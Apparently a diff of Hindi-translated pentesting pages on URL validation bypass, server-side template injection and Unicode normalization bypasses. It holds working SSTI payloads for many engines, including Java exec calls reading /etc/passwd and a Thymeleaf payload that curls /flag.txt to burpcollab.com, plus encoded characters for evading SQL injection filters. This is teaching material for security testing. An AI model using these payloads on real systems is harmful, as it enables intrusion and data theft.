The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए गए इनपुट से विभिन्नताएँ उत्पन्न कर सकता है ताकि उपयोग किए गए regex को बायपास करने की कोशिश की जा सके। अधिक जानकारी के लिए [**इस पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) को भी देखें।
The tool [**recollapse**](https://github.com/0xacb/recollapse) एक दिए गए इनपुट से भिन्नताएँ उत्पन्न कर सकता है ताकि उपयोग किए गए regex को बायपास करने की कोशिश की जा सके। अधिक जानकारी के लिए [**इस पोस्ट**](https://0xacb.com/2022/11/21/recollapse/) को भी देखें।
### Automatic Custom Wordlists
[**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) को देखें जहाँ आप अनुमत होस्ट और हमलावर का होस्ट डाल सकते हैं और यह आपके लिए प्रयास करने के लिए URLs की एक सूची उत्पन्न करेगा। यह यह भी विचार करता है कि क्या आप URL को एक पैरामीटर, एक Host हेडर या एक CORS हेडर में उपयोग कर सकते हैं।
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass via redirect

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## SSTI (सर्वर-साइड टेम्पलेट इंजेक्शन) क्या है
सर्वर-साइड टेम्पलेट इंजेक्शन एक कमजोरी है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।
@ -17,13 +16,13 @@ output = template.render(name=request.args.get('name'))
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
पेलोड `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त हो सकता है।
पेलोड `{{bad-stuff-here}}` को `name` पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।
सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डाले जाने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-सचेत एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।
### पहचान
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में भिन्नताओं का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, **टेम्पलेट को फज़ करना** एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (**`${{<%[%'"}}%\`**) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:
- फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।
- परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।
@ -32,7 +31,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
#### पहचान चरण
टेम्पलेट इंजन की पहचान त्रुटि संदेशों का विश्लेषण करे या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करके की जाती है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
टेम्पलेट इंजन की पहचान त्रुटि संदेशों का विश्लेषण करे या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करने में शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें `${7/0}`, `{{7/0}}`, और `<%= 7/0 %>` शामिल हैं। गणितीय संचालन के प्रति सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।
#### पेलोड द्वारा पहचान
@ -44,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### [TInjA](https://github.com/Hackmanit/TInjA)
एक प्रभावी SSTI + CSTI स्कैनर जो नवीनतम पॉलीग्लॉट्स का उपयोग करता है
एक प्रभावी SSTI + CSTI स्कैनर जो नवीनतम पॉलीग्लॉट्स का उपयोग करता है
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -89,7 +88,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
```java
${T(java.lang.System).getenv()}
```
**जावा - /etc/passwd प्राप्त करें**
**Java - /etc/passwd प्राप्त करें**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -156,7 +155,7 @@ $out.read()
### Thymeleaf
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति `${7*7}`, जो इस टेम्पलेट इंजन पर भी लागू होत है। संभावित रिमोट कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:
- SpringEL:
@ -170,9 +169,9 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`
Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, _expression inlining_ अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि `[[...]]` या `[(...)]` का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है `[[${7*7}]]`.
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को अपने स्वयं के `TemplateResolver` को लागू करने की आवश्यकता होगी ताकि वे स्ट्रिंग्स से टेम्पलेट को ऑन-द-फ्लाई बना सकें, जो असामान्य है।
हालांकि, इस पेलोड के काम करने की संभावना सामान्यतः कम है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना `TemplateResolver` लागू करने की आवश्यकता होगी, जो असामान्य है।
Thymeleaf _expression preprocessing_ भी प्रदान करता है, जहाँ डबल अंडरस्कोर (`__...__`) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:
```java
@ -185,7 +184,7 @@ Thymeleaf _expression preprocessing_ भी प्रदान करता ह
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँचता है जैसे:
यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -320,7 +319,7 @@ Jinjava एक ओपन सोर्स प्रोजेक्ट है ज
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Jinjava प्रोजेक्ट को Github पर खोजें](https://github.com/HubSpot/jinjava/)
"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और [Jinjava प्रोजेक्ट को Github पर खोजें](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -387,7 +386,7 @@ el-expression-language.md
### ग्रूवी (Java)
निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं।
निम्नलिखित सुरक्षा प्रबंधक बायपास इस [**लेख**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) से लिए गए हैं।
```java
//Basic Payload
import groovy.*;
@ -416,9 +415,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
- अधिक जानकारी [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
- अधिक जानकारी के लिए [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
@ -484,7 +481,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरित है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज हो जाता है।
Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरित है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज बनता है।
Controller:
```php
@ -518,7 +515,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
### PHPlib और HTML_Template_PHPLIB (PHP)
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) PHPlib के समान है लेकिन इसे Pear पर पोर्ट किया गया है।
[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) PHPlib के समान है लेकिन Pear पर पोर्ट किया गया है।
`authors.tpl`
```html
@ -672,7 +669,7 @@ URLencoded:
| **टेम्पलेट** | **विवरण** |
| ------------ | ------------------------------------- |
| | आउटपुट का मूल्यांकन और रेंडर करें |
| | एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें |
| | HTML एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करें |
| | टिप्पणी |
| और | कोड की अनुमति दें (डिफ़ॉल्ट रूप से अक्षम) |
@ -780,13 +777,13 @@ range.constructor(
### पायथन
**सैंडबॉक्स को बायपास करने** के लिए ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ पर जाएं:
**सैंडबॉक्स को बायपास करने के लिए मनमाने कमांड निष्पादन** के बारे में ट्रिक्स सीखने के लिए निम्नलिखित पृष्ठ देखें:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### टॉरनेडो (पायथन)
### टॉरनेडो (पायथन)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
@ -817,7 +814,7 @@ range.constructor(
[आधिकारिक वेबसाइट](http://jinja.pocoo.org)
> Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन, एक वैकल्पिक एकीकृत सैंडबॉक्स कार्यान्वयन वातावरण, व्यापक रूप से उपयोग किया जाने वाला और BSD लाइसेंस प्राप्त है।
> Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण है, जो व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस प्राप्त है।
- `{{7*7}} = Error`
- `${7*7} = ${7*7}`
@ -933,7 +930,7 @@ ${x}
### Mojolicious (Perl)
यह भले ही पर्ल है, लेकिन यह रूबी में ERB जैसे टैग का उपयोग करता है।
यह भले ही perl है, लेकिन यह Ruby में ERB की तरह टैग का उपयोग करता है।
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
@ -947,7 +944,7 @@ Go के टेम्पलेट इंजन में, इसके उप
- `{{ . }}`: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, यदि एक ऑब्जेक्ट जिसमें `Password` विशेषता है, पास किया जाता है, तो `{{ .Password }}` इसे उजागर कर सकता है।
- `{{printf "%s" "ssti" }}`: "ssti" स्ट्रिंग प्रदर्शित करने की अपेक्षा की जाती है।
- `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में खोजा जा सकता है [यहाँ](https://golang.org/pkg/text/template)।
- `{{html "ssti"}}`, `{{js "ssti"}}`: ये पेलोड "ssti" को "html" या "js" जोड़े बिना लौटाना चाहिए। आगे के निर्देशों को Go दस्तावेज़ में [यहां](https://golang.org/pkg/text/template) खोजा जा सकता है
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
@ -959,9 +956,9 @@ vbnet Copy code
**RCE Exploitation**
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहा html/template के लिए](https://golang.org/pkg/html/template/) और [यहा text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
RCE शोषण `html/template` और `text/template` के बीच काफी भिन्न होता है। `text/template` मॉड्यूल किसी भी सार्वजनिक फ़ंक्शन को सीधे कॉल करने की अनुमति देता है ( "call" मान का उपयोग करके), जो `html/template` में अनुमति नहीं है। इन मॉड्यूल के लिए दस्तावेज़ [यहा html/template के लिए](https://golang.org/pkg/html/template/) और [यहा text/template के लिए](https://golang.org/pkg/text/template/) उपलब्ध है।
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को बुलाया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड चलाता है, तो इसे इस तरह से शोषित किया जा सकता है `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
Go में SSTI के माध्यम से RCE के लिए, ऑब्जेक्ट विधियों को आह्वान किया जा सकता है। उदाहरण के लिए, यदि प्रदान किया गया ऑब्जेक्ट एक `System` विधि है जो कमांड निष्पादित करता है, तो इसे इस तरह से शोषित किया जा सकता है `{{ .System "ls" }}`। इसे शोषित करने के लिए आमतौर पर स्रोत कोड तक पहुंच आवश्यक होती है, जैसा कि दिए गए उदाहरण में:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@ -975,7 +972,7 @@ return string(out)
### अधिक शोषण
अधिक शोषण के लिए [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) की जांच करें। आप [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) में दिलचस्प टैग जानकारी भी पा सकते हैं।
अधिक शोषणों के लिए [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) की जांच करें। आप [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) में दिलचस्प टैग जानकारी भी पा सकते हैं।
## BlackHat PDF
@ -983,7 +980,7 @@ return string(out)
## संबंधित सहायता
यदि आपको लगता है कि यह उपयोगी हो सकता है, पढ़ें:
यदि आपको लगता है कि यह उपयोगी हो सकता है, तो पढ़ें:
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
@ -995,9 +992,11 @@ return string(out)
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## ब्रूट-फोर्स डिटेक्शन लिस्ट
## ब्रूट-फोर्स डिटेक्शन सूची
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## अभ्यास और संदर्भ

View File

@ -4,24 +4,24 @@
**यह एक सारांश है:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). आगे की जानकारी के लिए देखें (छवियाँ वहाँ से ली गई हैं)।
## Understanding Unicode and Normalization
## Unicode और Normalization को समझना
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक वर्ण समकक्षता के दो प्रकारों को परिभाषित करता है:
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक दो प्रकार की वर्ण समकक्षता को परिभाषित करता है:
1. **Canonical Equivalence**: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या डिस्प्ले पर एक समान रूप और अर्थ होता है।
2. **Compatibility Equivalence**: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित हो सकते हैं।
चार **Unicode normalization algorithms** हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता मानकीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं [Unicode.org](https://unicode.org/) पर।
चार **Unicode normalization एल्गोरिदम** हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता मानकीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं [Unicode.org](https://unicode.org/) पर।
### Key Points on Unicode Encoding
### Unicode Encoding पर मुख्य बिंदु
Unicode एन्कोडिंग को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न सिस्टमों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं:
Unicode encoding को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न प्रणालियों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटने के समय। यहाँ मुख्य बिंदु हैं:
- **Code Points and Characters**: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान सौंपा जाता है जिसे "कोड प्वाइंट" कहा जाता है।
- **Bytes Representation**: कोड प्वाइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा दर्शाया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) को एक बाइट का उपयोग करके दर्शाया जाता है। हालाँकि, जिन भाषाओं में अधिक वर्ण होते हैं, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
- **Encoding**: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके दर्शाया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक।
- **Processing Data**: डेटा प्रोसेसिंग करने वाले सिस्टम को एन्कोडिंग के बारे में जागरूक होना चाहिए ताकि बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित किया जा सके
- **Variants of UTF**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, अधिकतम 4) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
- **कोड पॉइंट और वर्ण**: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान सौंपा जाता है जिसे "कोड पइंट" कहा जाता है।
- **बाइट्स प्रतिनिधित्व**: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा प्रदर्शित किया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) एक बाइट का उपयोग करके प्रदर्शित होते हैं। हालाँकि, जिन भाषाओं में अधिक वर्ण होते हैं, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
- **Encoding**: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके प्रदर्शित किया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक।
- **डेटा प्रोसेसिंग**: डेटा प्रोसेसिंग करने वाली प्रणालियों को बाइट स्ट्रीम को वर्णों में सही ढंग से परिवर्तित करने के लिए उपयोग की जाने वाली एन्कोडिंग के बारे में जागरूक होना चाहिए
- **UTF के रूप**: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, अधिकतम 4) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग तरीकों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके।
@ -29,25 +29,25 @@ Unicode के दो अलग-अलग बाइट्स को एक ह
```python
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
```
**Unicode समकक्ष वर्णों की एक सूची यहाँ पाई जा सकती है:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) और [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
**यूनिकोड समकक्ष वर्णों की एक सूची यहाँ मिल सकती है:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) और [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
### खोज
यदि आप एक वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको किया जा रहा है, तो आप **KELVIN SIGN (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको किया जाता है**, तो कुछ प्रकार की **Unicode सामान्यीकरण** की प्रक्रिया की जा रही है।
यदि आप एक वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको किया जा रहा है, तो आप **KELVIN SIGN (U+0212A)** भेजने की कोशिश कर सकते हैं जो **"K"** में **सामान्यीकृत** होता है (आप इसे `%e2%84%aa` के रूप में भेज सकते हैं)। **यदि "K" वापस इको किया जाता है**, तो कुछ प्रकार की **यूनिकोड सामान्यीकरण** किया जा रहा है।
अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **unicode** `Leonishan` है।
अन्य **उदाहरण**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` के बाद **यूनिकोड** `Leonishan` है।
## **कमजोर उदाहरण**
### **SQL Injection फ़िल्टर बायपास**
### **SQL इंजेक्शन फ़िल्टर बायपास**
कल्पना कीजिए एक वेब पृष्ठ जो उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता** है, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **Unicode** का उपयोग करके **सामान्यीकृत** करता है।
कल्पना करें कि एक वेब पृष्ठ उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण `'` का उपयोग कर रहा है। यह वेब, सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण **`'`** के सभी उदाहरणों को **हटाता** है, लेकिन **उस हटाने के बाद** और **क्वेरी बनाने से पहले**, यह उपयोगकर्ता के इनपुट को **यूनिकोड** का उपयोग करके **सामान्यीकृत** करता है।
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग Unicode वर्ण डाल सकता है जो `' (0x27)` के समकक्ष है जैसे `%ef%bc%87`, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है:
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग यूनिकोड वर्ण डाल सकता है जो `' (0x27)` के समकक्ष है जैसे `%ef%bc%87`, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक **SQLInjection भेद्यता** प्रकट होती है:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
**कुछ दिलचस्प Unicode वर्ण**
**कुछ दिलचस्प यूनिकोड वर्ण**
- `o` -- %e1%b4%bc
- `r` -- %e1%b4%bf
@ -75,21 +75,23 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
```
#### sqlmap टेम्पलेट
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS (क्रॉस साइट स्क्रिप्टिंग)
आप निम्नलिखित में से किसी एक चरित्र का उपयोग करके वेब ऐप को धोखा दे सकते हैं और XSS का शोषण कर सकते हैं:
